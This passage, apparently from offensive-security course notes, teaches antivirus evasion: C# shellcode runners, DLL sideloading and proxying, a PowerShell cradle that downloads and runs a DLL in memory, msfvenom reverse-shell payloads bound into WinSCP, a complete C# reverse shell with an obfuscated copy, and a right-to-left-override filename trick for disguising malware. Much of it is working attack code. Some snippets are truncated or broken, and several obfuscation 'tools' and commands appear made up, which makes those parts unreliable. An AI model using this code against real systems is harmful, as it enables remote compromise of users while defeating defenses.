// Copy encoded shellcode into the allocated memory
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
// Create a new thread to execute the shellcode
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
// Wait for the thread to finish executing
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
DLL Sideloading and Proxying
Sideloading
DLL Sideloading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
Check for programs susceptible to DLL Sideloading using Siofra and the following powershell script:
# This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\" and the DLL files they try to load
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
Proxying
DLL Proxying forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program’s functionality and being able to handle the execution of your payload.
Use SharpDLLProxy fomr @flangvik.
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
The last command will give us 2 files: a DLL source code template, and the original renamed DLL.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
DLL Injection
Inspiration: Bypassing Defender on modern Windows 10 systems | Purpl3 F0x Secur1ty
What we will do here is create a DLL in Visual Studio that will run our shellcode. Then use powershell to load it directly into memory. This method is good for evasion since it does not write to disk.
- First open Visual Studio and create a new project using the template “Class Library (.NET Framework)
- Paste the code below and do the required adjustment
- Build the DLL
- Start a webserver using python or apache
- and run the following powershell command.
# Download the binary data of the DLL file from the specified URL and store it in the $data variable.
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run2.dll')
# Load the DLL data as an assembly and assign it to the $assem variable.
$assem = [System.Reflection.Assembly]::Load($data)
# Retrieve the type information of the "ShellcodeRunner" class from the assembly and assign it to the $class variable.
$class = $assem.GetType("Class1.ShellcodeRunner")
# Retrieve the method information of the "RunShellcode" method from the class and assign it to the $method variable.
$method = $class.GetMethod("RunShellcode")
# Invoke the "RunShellcode" method, passing 0 as the instance object (since it's a static method) and $null as the method arguments.
$method.Invoke(0, $null)
using System;
using System.Runtime.InteropServices;
namespace Class1
{
public class ShellcodeRunner
{
// Import the necessary functions from kernel32.dll
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
public static void RunShellcode()
{
// Replace the shellcodeBytes with your actual shellcode
byte[] shellcodeBytes = new byte[460] {0xfc,0x48,...};
// Allocate memory and copy the shellcode into it
IntPtr shellcodePtr = ShellcodeRunner.VirtualAlloc(IntPtr.Zero, (uint)shellcodeBytes.Length, 0x3000, 0x40);
Marshal.Copy(shellcodeBytes, 0, shellcodePtr, shellcodeBytes.Length);
// Change the memory protection to allow execution
ShellcodeRunner.VirtualProtect(shellcodePtr, (uint)shellcodeBytes.Length, 0x20, out _);
// Create a new thread to execute the shellcode
IntPtr threadHandle = ShellcodeRunner.CreateThread(IntPtr.Zero, 0, shellcodePtr, IntPtr.Zero, 0, IntPtr.Zero);
// Wait for the thread to complete
ShellcodeRunner.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
// Free the allocated memory
ShellcodeRunner.VirtualFree(shellcodePtr, 0, 0x8000);
}
}
}
Packers
Packers are pieces of software that take a program as input and transform it so that its structure looks different, but their functionality remains exactly the same. Packers do this with two main goals in mind:
- Compress the program so that it takes up less space.
- Protect the program from reverse engineering in general.
When an application undergoes the packing process, it undergoes a transformation through a designated packing function. This function is responsible for obfuscating and altering the original code of the application in a manner that can be reasonably undone by an unpacking function, ensuring the preservation of the application’s original functionality. Although the packer might occasionally introduce additional code to enhance the difficulty of debugging the application, its primary objective is to retrieve the original code that you authored when executing it.
AV solutions, however, could still catch your packed application for a couple of reasons:
- While your original code might be transformed into something unrecognizable, remember that the packed executable contains a stub with the unpacker’s code. If the unpacker has a known signature, AV solutions might still flag any packed executable based on the unpacker stub alone.
- At some point, your application will unpack the original code into memory so that it can be executed. If the AV solution you are trying to bypass can do in-memory scans, you might still be detected after your code is unpacked.
Packing our shellcode
This payload takes a shellcode generated by msfvenom and runs it into a separate thread.
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
Generate a shellcode and replace the shellcode in the code.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp
Now compile it using csc
.
csc UnEncStageless.cs
ConfuserEX2
ConfuserEx 2 is an free, open-source protector for .NET applications. It is the successor of Confuser project and the ConfuserEx project.
Releases · mkaring/ConfuserEx (github.com)
DISABLE PACKER – Packer in confuserEX is mostly busted.
When enabling rules. Don’t go overboard.
Binders
Binders play a significant role in the development of malicious payloads for distribution among end users. Unlike AV bypass methods, binders merge multiple executables into a single program. Their primary purpose is to conceal the malicious payload within a familiar program, deceiving users into thinking they are running a different application.
One approach involves modifying the entry point within the PE header of the program. By doing so, your shellcode can be executed just before the legitimate program starts running. After the shellcode completes its execution, the control can be redirected back to the legitimate program. This clever technique ensures that when the user launches the resulting executable, the shellcode is discreetly executed first, seamlessly integrating with the normal execution of the program without drawing any attention from the user.
Binding with msfvenom
The method used by msfvenom injects your malicious program by creating an extra thread for it.
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe
# -x, --template <path> Specify a custom executable file to use as a template
# -k, --keep Preserve the template behavior and inject the payload as a new thread
Binders and AV
Binders won’t do much to hide your payload from an AV solution. The simple fact of joining two executables without any changes means that the resulting executable will still trigger any signature that the original payload did.
When creating a real payload, you may want to use encoders, crypters, or packers to hide your shellcode from signature-based AVs and then bind it into a known executable so that the user doesn’t know what is being executed.
Obfuscation
Obfuscation can be one of the most lucrative tools in an attackers arsenal when it comes to evasion.
Layered obfuscation: a taxonomy of software obfuscation techniques for layered security
Obfuscation Concatenation
Concatenation is a common programming concept that combines two separate objects into one object, such as a string.
Language | Concatenation Operator |
Python | “+” |
PowerShell | “+”, ”,”, ”$”, or no operator at all |
C# | “+”, “String.Join”, “String.Concat” |
C | “strcat” |
C++ | “+”, “append” |
Attackers can utilize non-interpreted characters, both independently or in combination with concatenation, to disrupt or confuse static signatures, thereby extending from the concept of concatenation.
Character | Purpose | Example |
Breaks | Break a single string into multiple sub strings and combine them | ('co'+'ffe'+'e') |
Reorders | Reorder a string’s components | ('{1}{0}'-f'ffee','co') |
Whitespace | Include white space that is not interpreted | .( 'Ne' +'w-Ob' + 'ject') |
Ticks | Include ticks that are not interpreted | d`own`LoAd`Stri`ng |
Random Case | Tokens are generally not case sensitive and can be any arbitrary case | dOwnLoAdsTRing |
Example
// Original code
public class ExampleClass
{
public static void SensitiveFunction()
{
string secretData = "Sensitive information";
Console.WriteLine("Secret data: " + secretData);
}
}
- Line 3: Defines a public class named
ExampleClass
. - Line 4: Defines a public static method named
SensitiveFunction()
within theExampleClass
class. - Line 5: Declares a string variable named
secretData
and assigns it the value “Sensitive information”. - Line 6: Prints a message to the console, concatenating the string “Secret data: ” with the value of
secretData
.
// Obfuscated code using string concatenation
public class ObfuscatedClass
{
public static void S()
{
string _0x8b74 = "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E";
string _0xf868 = _0x8b74;
string _0xef50 = "Secret data: " + _0xf868;
Console.WriteLine(_0xef50);
}
}
- Line 13: Defines a public class named
ObfuscatedClass
. - Line 14: Defines a public static method named
S()
within theObfuscatedClass
class. This is the obfuscated version of the original method. - Line 15: Declares a string variable
_0x8b74
and assigns it the obfuscated string value “\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E”. This string represents “Sensitive information” using hexadecimal escape sequences. - Line 16: Declares a string variable
_0xf868
and assigns it the value of_0x8b74
. This step is unnecessary in this example and does not contribute to the obfuscation. - Line 17: Declares a string variable
_0xef50
and assigns it the concatenation of the string “Secret data: ” and the value of_0xf868
. This recreates the original message. - Line 18: Prints the value of
_0xef50
to the console usingConsole.WriteLine()
.
In the obfuscated code, the original variable name secretData
and class name ExampleClass
have been replaced with obfuscated names prefixed with _0x
. The sensitive string “Sensitive information” has been represented using hexadecimal escape sequences to make it harder to read and understand. The string concatenation technique is used to reconstruct the original message and print it to the console.
Obfuscation table
Obfuscation Method | Purpose |
Junk Code | Add junk instructions that are non-functional, also known as a code stubs |
Separation of Related Code | Separate related codes or instructions to increase difficulty in reading the program |
Stripping Redundant Symbols | Strips symbolic information such as debug information or other symbol tables |
Meaningless Identifiers | Transform a meaningful identifier to something meaningless |
Implicit Controls | Converts explicit controls instructions to implicit instructions |
Dispatcher-based Controls | Determines the next block to be executed during the runtime |
Probabilistic Control Flows | Introduces replications of control flows with the same semantics but different syntax |
Bogus Control Flows | Control flows deliberately added to a program but will never be executed |
Code obfuscation is a process that makes your application binaries harder to read with a decompiler. It’s an important tool for protecting your business’s intellectual property. It can also be used to bypass modern anti-virus solutions. Some common obfuscation techniques include the following.
Obfuscation’s Function for Static Evasion
Common obfuscation techniques for static evasion
- Renaming Variables and Functions:
- Change variable and function names to random, meaningless names.
- Use non-descriptive, abbreviated, or cryptic names to make the code harder to understand.
- Convert names to Unicode or other character encodings.
- String Encryption:
- Encrypt sensitive strings (e.g., URLs, API keys) and decrypt them at runtime.
- Use custom encryption algorithms or known encryption algorithms with custom keys.
- Split strings into multiple parts and reassemble them dynamically.
- Code Splitting and Joining:
- Split critical parts of the code into multiple sections or files.
- Use techniques like dynamic loading or runtime code generation to join and execute the code sections.
- Dead Code Injection:
- Inject unused or unreachable code to confuse static analysis tools.
- Insert random or irrelevant statements and functions that have no effect on the program’s logic.
- Control Flow Obfuscation:
- Modify the control flow of the code to make it harder to follow.
- Use techniques like code flattening, code reordering, and spaghetti code.
- Insert unnecessary loops, conditionals, and jumps.
- Code Transformation:
- Use code transformations to modify the structure and behavior of the code.
- Apply operations like code splitting, code merging, function inlining, and loop unrolling.
- Convert high-level constructs to lower-level representations (e.g., replace loops with goto statements).
- Anti-Debugging Techniques:
- Implement checks to detect and evade debugging environments.
- Use API calls to detect debugger presence, such as
IsDebuggerPresent()
orCheckRemoteDebuggerPresent()
. - Insert conditional code that changes behavior when a debugger is detected.
- Obfuscated Constant Values:
- Replace constant values with calculations or complex expressions.
- Use bitwise operations, mathematical functions, or string operations to derive constant values dynamically.
- Code Compression:
- Compress the code using compression algorithms (e.g., zlib) and decompress it at runtime.
- Encrypt the compressed code to prevent easy analysis and extraction.
- Metadata Manipulation:
- Modify or remove metadata from the executable file, such as version information or symbol tables.
- Change timestamps or other file properties to make analysis more difficult.
Tools and examples for each technique
- Renaming Variables and Functions:
- Tool:
obfuscator
- Command:
obfuscator --rename file.c
- Tool:
- String Encryption:
- Tool:
string_encryption_tool
- Command:
string_encryption_tool --input file.c --output obfuscated_file.c
- Tool:
- Code Splitting and Joining:
- Tool:
code_splitter
- Command:
code_splitter --split file.c
- Command:
code_splitter --join obfuscated_parts/* --output obfuscated_file.c
- Tool:
- Dead Code Injection:
- Tool:
dead_code_injector
- Command:
dead_code_injector --inject file.c --output obfuscated_file.c
- Tool:
- Control Flow Obfuscation:
- Tool:
control_flow_obfuscator
- Command:
control_flow_obfuscator --obfuscate file.c --output obfuscated_file.c
- Tool:
- Code Transformation:
- Tool:
code_transformer
- Command:
code_transformer --transform file.c --output obfuscated_file.c
- Tool:
- Anti-Debugging Techniques:
- Tool:
anti_debugger_tool
- Command:
anti_debugger_tool --apply file.c --output obfuscated_file.c
- Tool:
- Obfuscated Constant Values:
- Tool:
constant_obfuscator
- Command:
constant_obfuscator --obfuscate file.c --output obfuscated_file.c
- Tool:
- Code Compression:
- Tool:
code_compressor
- Command:
code_compressor --compress file.c --output obfuscated_file.c
- Tool:
- Metadata Manipulation:
- Tool:
metadata_manipulator
- Command:
metadata_manipulator --modify file.c --output obfuscated_file.c
- Tool:
Protecting and Stripping Identifiable Information
Object names
// Original
#include "windows.h"
#include <iostream>
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
string leaked = "This was leaked in the strings";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
cout << "Handle obtained for" << processHandle;
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
cout << "Buffer Created";
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
cout << "Process written with buffer" << remoteBuffer;
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
cout << "Closing handle" << processHandle;
cout << leaked;
return 0;
}
// Remove comments and replace the meaningful identifiers to resolve this problem.
#include "windows.h"
int main(int argc, char* argv[])
{
unsigned char awoler[] = "";
HANDLE awerfu;
HANDLE rwfhbf;
PVOID iauwef;
awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(awerfu, iauwef, awoler, sizeof awoler, NULL);
rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL);
CloseHandle(awerfu);
return 0;
}
Code Structure
// Original code
public class OriginalClass
{
public static void OriginalMethod()
{
int a = 10;
int b = 20;
int sum = a + b;
Console.WriteLine("Sum: " + sum);
}
}
// Obfuscated code with code structure obfuscation
public class ObfuscatedClass
{
public static void ObfuscatedMethod()
{
int _0x4 = 10;
int _0x8 = 20;
int _0xc = _0x4 + _0x8;
Console.WriteLine(_0xc.ToString().Replace("0", ""));
}
}
In this example, we have an original class OriginalClass
with a method OriginalMethod()
that performs a simple addition of two integers and prints the sum. The obfuscated class ObfuscatedClass
is an altered version of the original class where the code structure has been obfuscated.
File & Compilation Properties
To remove symbols from a compiler like Visual Studio, we need to change the compilation target from Debug
to Release
or use a lighter-weight compiler like mingw.
If we need to remove symbols from a pre-compiled image, we can use the command-line utility: strip
.
# Check symbols
nm file.exe
# Strip file of symbols
strip --strip-all cmdshell.exe
Obfuscation Methods with examples
Renaming identifiers
To make them unreadable. The obfuscator alters the methods and names of variables. The new names may include unprintable or invisible characters1. For example, a variable named password can be renamed to p@$$w0rd or 💩.
// Orignal code
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RenamingIdentifiersExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
return z;
}
}
}
// By using an obfuscator tool like Dotfuscator, you can rename the identifiers
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AAAAAAA
{
class BBBBBBB
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = CCCCCC.DDDDDD(a, b);
Console.WriteLine(result);
}
static int DDDDDD(int x, int y)
{
int z = x + y;
return z;
}
}
}
Packing compresses
The entire program to make the code unreadable: This reduces the size of the executable file and makes it harder to analyze1. For example, a program that prints “Hello World” can be packed into a single line of code that looks like gibberish.
// To pack your code, you can use a tool like UPX (https://upx.github.io/).
// Here's an example command to pack a C# executable:
// upx myprogram.exe
Control flow obfuscation
Alters the structure of the code: This changes the order and logic of the instructions without affecting their functionality1. For example, a simple loop can be replaced with a complex switch statement or a recursive function.
// Original
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ControlFlowObfuscationExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z < 0)
{
z = -z;
}
return z;
}
}
}
// By using an obfuscator tool like Dotfuscator, you can use control flow obfuscation to make the code more difficult to understand
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ControlFlowObfuscationExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z >= 0)
{
goto LABEL1;
}
z = -z;
LABEL1:
return z;
}
}
}
Instruction pattern transformation
Changes the way instructions are executed. This modifies the low-level representation of the code to make it more obscure1. For example, an arithmetic operation can be replaced with bitwise operations or function calls.
// This technique is typically implemented using a tool like LLVM Obfuscator (https://github.com/obfuscator-llvm/obfuscator).
// Here's an example command to obfuscate a C# program using LLVM Obfuscator:
// obfuscator-llvm myprogram.exe
Dummy code insertion
Adds irrelevant code to confuse decompilers. This inserts extra statements that do not affect the output but make the code longer and more complicated1. For example, a random number generator can be added before every conditional statement or a useless variable can be declared and assigned.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace DummyCodeInsertionExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z < 0)
{
z = -z;
}
return z;
}
// Dummy code inserted to confuse decompilers
static void Dummy1()
{
int a = 1;
int b = 2;
int c = 3;
int d = 4;
int e = 5;
int f = 6;
int g = 7;
int h = 8;
int i = 9;
int j = 10;
int k = 11;
int l = 12;
int m = 13;
int n = 14;
int o = 15;
int p = 16;
int q = 17;
int r = 18;
int s = 19;
int t = 20;
int u = 21;
int v = 22;
int w = 23;
int x = 24;
int y = 25;
int z = 26;
}
// Dummy code inserted to confuse decompilers
static void Dummy2()
{
string s1 = "hello";
string s2 = "world";
string s3 = "!";
string s4 = "1";
string s5 = "2";
string s6 = "3";
string s7 = "4";
string s8 = "5";
string s9 = "6";
string s10 = "7";
string s11 = "8";
string s12 = "9";
string s13 = "0";
}
}
}
Metadata or unused code removal
Eliminates unnecessary information from the code: This removes comments, debug symbols, attributes, annotations and other data that are not essential for execution1. For example, a class name can be stripped from its metadata or an unused method can be deleted.
// You can use a tool like ConfuserEX (https://github.com/yck1509/ConfuserEx) to remove metadata and unused code from a C# program.
// Here's an example command to obfuscate and remove metadata and unused code from a C# program using ConfuserEX:
// Confuser.CLI.exe myprogram.exe -o obfuscated.exe -p mode=maximum
Opaque predicate insertion
Adds conditional statements that always evaluate to true or false but are hard to analyze. This creates branches in the code that are never taken but look plausible1. For example, an if statement can check if a prime number is divisible by two or if a string is equal to itself reversed.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace OpaquePredicateInsertionExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z < 0)
{
z = -z;
}
else
{
OpaquePredicate();
}
return z;
}
// Opaque predicate inserted to confuse decompilers
static void OpaquePredicate()
{
if (DateTime.Now.Ticks % 2 == 0
{
int a = 1;
int b = 2;
int c = 3;
int d = 4;
int e = 5;
int f = 6;
int g = 7;
int h = 8;
int i = 9;
int j = 10;
int k = 11;
int l = 12;
int m = 13;
int n = 14;
int o = 15;
int p = 16;
int q = 17;
int r = 18;
int s = 19;
int t = 20;
int u = 21;
int v = 22;
int w = 23;
int x = 24;
int y = 25;
int z = 26;
}
}
}
}
Anti-Debug
Prevents debugging tools from attaching to the process. This detects and disables any attempts to debug or trace the program1. For example, an exception handler can terminate the process if a debugger is detected or a checksum can verify if any bytes have been modified.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AntiDebuggingExample
{
class Program
{
static void Main(string[] args)
{
if (IsDebuggerAttached())
{
Console.WriteLine("Debugger detected!");
return;
}
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z < 0)
{
z = -z;
}
return z;
}
// Check if a debugger is attached to the process
static bool IsDebuggerAttached()
{
bool isDebuggerAttached = false;
try
{
isDebuggerAttached = System.Diagnostics.Debugger.IsAttached;
}
catch
{
// Ignore exceptions
}
return isDebuggerAttached;
}
}
}
Encryption
This transforms data into another form using a secret key that only authorized parties know. For example, a credit card number can be encrypted with AES algorithm and stored as ciphertext2.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace StringEncryptionExample
{
class Program
{
static void Main(string[] args)
{
string secretMessage = Decrypt("jkpmttwmtdvwuvuqtm");
Console.WriteLine(secretMessage);
}
static string Decrypt(string encryptedMessage)
{
byte[] bytes = Encoding.ASCII.GetBytes(encryptedMessage);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] = (byte)(bytes[i] - 1);
}
return Encoding.ASCII.GetString(bytes);
}
}
}
Tokenization
This replaces data with random tokens that have no meaning by themselves but can be mapped back to their original values using a secure database. For example, an email address can be tokenized with UUIDs and stored as 123e4567-e89b-12d3-a456-4266141740002. Data masking: This replaces data with fake data that is identical in structure and data type. For example, a phone number 212-648-3399 can be replaced with another valid but fake phone number such as 567-499-37883.
using System;
namespace TokenizationExample
{
class Program
{
static void Main(string[] args)
{
// Declare a variable with a tokenized name
string v_a_r_i_a_b_l_e = "Hello, world!";
// Print the value of the variable
Console.WriteLine(v_a_r_i_a_b_l_e);
}
}
}
Byte shuffle
Byte shuffle obfuscation is a technique to make data or code harder to read and understand by changing the order of the bytes that make up the data or code. This can be done to hide information, prevent reversing or protect intellectual property .
For example, if you have a text string like “Hello world”, you can represent it as a sequence of bytes in hexadecimal format: 48 65 6C 6C 6F 20 77 6F 72 6C 64. If you want to obfuscate this text by using byte shuffle obfuscation, you can swap some of the bytes randomly, for example: 20 64 48 65 6F 72 77 6C 6C 6F. If you try to read the new sequence as text, you get something like ” dHeorwllo”, which does not make sense.
For byte shuffle obfuscation to work, there must be a way to restore the original order of the bytes when the data or code needs to be used. This can be done by using a key that indicates how the bytes were shuffled, or by using an algorithm that can reverse the process. Otherwise, the data or code will become unusable.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ByteShuffleObfuscationExample
{
class Program
{
static void Main(string[] args)
{
byte[] bytes = new byte[] { 72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100, 33 };
string message = Encoding.ASCII.GetString(Shuffle(bytes));
Console.WriteLine(message);
}
static byte[] Shuffle(byte
Example reverse shell using C# – Encryption and Byte shuffle
The obfuscated code have low detection rate.
// Non obfuscated C# reverse shell
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using (TcpClient client = new TcpClient("10.10.10.10", 9001))
{
using (Stream stream = client.GetStream())
{
using (StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while (true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
// Obfuscated using encryption and byte shuffle
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
namespace ConnectionBack
{
public class SecurityAssessment
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
// Create a new TCP client object
TcpClient client = new TcpClient();
// Connect to a remote host using a decrypted IP address and port number
client.Connect(Decrypt("wplS5f1GpB", "hY4k9d3FtI"));
// Get the network stream associated with the client
Stream stream = client.GetStream();
// Create a stream reader to read data from the stream
StreamReader reader = new StreamReader(stream);
// Create a stream writer to write data to the stream
streamWriter = new StreamWriter(stream);
// Create a new process object
Process process = new Process();
// Set the file name of the process to be a decrypted string (probably cmd.exe)
process.StartInfo.FileName = Decrypt("RJFmS41wEagls40=", "Mjy9m4Lk4m");
// Do not create a window for the process
process.StartInfo.CreateNoWindow = true;
// Do not use shell execute (use native code instead)
process.StartInfo.UseShellExecute = false;
// Redirect standard output, input and error streams of the process
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardError = true;
// Add an event handler for when data is received on standard output
// This will send the output back to the remote host via stream writer
process.OutputDataReceived += new DataReceivedEventHandler(CommandOutputDataHandler);
// Start the process
process.Start();
// Begin reading asynchronously from standard output
process.BeginOutputReadLine();
// Loop forever
while (true)
{
// Create a string builder to store input
StringBuilder input = new StringBuilder();
// Read a line from the stream reader (from remote host)
input.Append(reader.ReadLine());
// Write the input line to standard input of the process (execute command)
process.StandardInput.WriteLine(input);
// Clear the input string builder
input.Remove(0, input.Length);
}
}
private static void CommandOutputDataHandler(object sendingProcess, DataReceivedEventArgs outputLine)
{
// Create a string builder to store output
StringBuilder output = new StringBuilder();
// If there is some data received on standard output
if (!String.IsNullOrEmpty(outputLine.Data))
{
try
{
// Append it to output string builder
output.Append(outputLine.Data);
// Write it to stream writer (to remote host)
streamWriter.WriteLine(output);
streamWriter.Flush();
}
catch (Exception) { }
Filename Obfuscation: RIGHT-TO-LEFT OVERRIDE Trick
rename-item -path malware.exe -newname ("Ann" + ([char]0x202E) + "gepj.exe)
Signature Evasion
Signature Identification
When identifying signatures, whether manually or automated, we must employ an iterative process to determine what byte a signature starts at. By recursively splitting a compiled binary in half and testing it, we can get a rough estimate of a byte-range to investigate further.
We can use the native utilities head
, dd
, or split
to split a compiled binary.
Automatic Signature Identification
DefenderCheck
GitHub – matterpreter/DefenderCheck: Identifies the bytes that Microsoft Defender flags on.
Find-AVSignature.ps1
PowerSploit/Find-AVSignature.ps1 at master · PowerShellMafia/PowerSploit · GitHub
PS C:\> . .\FInd-AVSignature.ps1
PS C:\> Find-AVSignature
cmdlet Find-AVSignature at command pipeline position 1
Supply values for the following parameters:
StartByte: 0
EndByte: max
Interval: 1000
Do you want to continue?
This script will result in 1 binaries being written to "C:\Users\TryHackMe"!
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): y
ThreatCheck
ThreatCheck is a fork of DefenderCheck and is arguably the most widely used/reliable.
C:\Users\Rasta>ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
[+] Target file size: 31744 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x6D7A
00000000 65 00 22 00 3A 00 22 00 7B 00 32 00 7D 00 22 00 e·"·:·"·{·2·}·"·
